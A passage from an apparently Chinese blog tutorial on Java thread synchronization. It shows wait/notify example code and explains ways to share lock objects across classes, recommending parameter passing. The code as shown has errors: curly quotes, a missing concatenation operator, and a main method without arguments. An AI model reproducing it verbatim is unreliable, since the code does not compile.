  } // end of synchronized(lock)   }   if( “B”.equals(threadName)){

  synchronized(lock){//线程B通过synchronized(lock) 获得线程A放弃的lock同步对象

  System.out.println(“B got lock.”);

  lock.notify(); //通知等待队列里面的线程A,进入ready队列,等待调度。

  //线程B继续处理,出了synchronized(lock)块之后,放弃lock同步对象。

  System.out.println(“B gives up lock.”);

  } // end of synchronized(lock)

  boolean hasLock = Thread.holdsLock(lock); // 检查B是否拥有lock同步对象。

  System.out.println(“B has lock ? -- ” hasLock); // false.   }   }   }   public class TestMain{

  public static void main(){

  Runnable resource = new SharedResource();

  Thread A = new Thread(resource,”A”);

  A.start();

  // 强迫主线程停止运行,以便线程A开始运行。

  try {

  Thread.sleep(500);

  }catch(InterruptedException e){   }   Thread B = new Thread(resource,”B”);

  B.start();   }   }

   5.跨类的同步对象对于简单的问题,可以把访问共享资源的同步代码都放在一个类里面。

  但是对于复杂的问题,我们需要把问题分为几个部分来处理,需要几个不同的类来处理问题。这时,就需要在不同的类中,共享同步对象。比如,在生产者和消费者之间共享同步对象,在读者和写者之间共享同步对象。

  如何在不同的类中,共享同步对象。有几种方法实现,

  (1)前面讲过的方法,使用static静态成员,(或者使用Singleton Pattern.)

  (2)用参数传递的方法,把同步对象传递给不同的类。

  (3)利用字符串常量的“原子性”。

  对于第三种方法,这里做一下解释。一般来说,程序代码中的字符串常量经过编译之后,都具有唯一性,即,内存中不会存在两份相同的字符串常量。

  (通常情况下,C ,C语言程序编译之后,也具有同样的特性。)

  比如,我们有如下代码。

  String A = “atom”;

  String B = “atom”;

  我们有理由认为,A和B指向同一个字符串常量。即,A==B。

  注意,声明字符串变量的代码,不符合上面的规则。

  String C= new String(“atom”);

  String D = new String(“atom”);

  这里的C和D的声明是字符串变量的声明,所以,C != D。

  有了上述的认识,我们就可以使用字符串常量作为同步对象。

  比如我们在不同的类中,使用synchronized(“myLock”), “myLock”.wait(),“myLock”.notify(), 这样的代码,就能够实现不同类之间的线程同步。

  本文并不强烈推荐这种用法,只是说明,有这样一种方法存在。

  本文推荐第二种方法,(2)用参数传递的方法,把同步对象传递给不同的类。

--

posted @ 2005-10-27 12:46 ivaneeo 阅读(396) | 评论 (0)编辑 收藏

仅列出标题
共67页: First 上一页 34 35 36 37 38 39 40 41 42 下一页 Last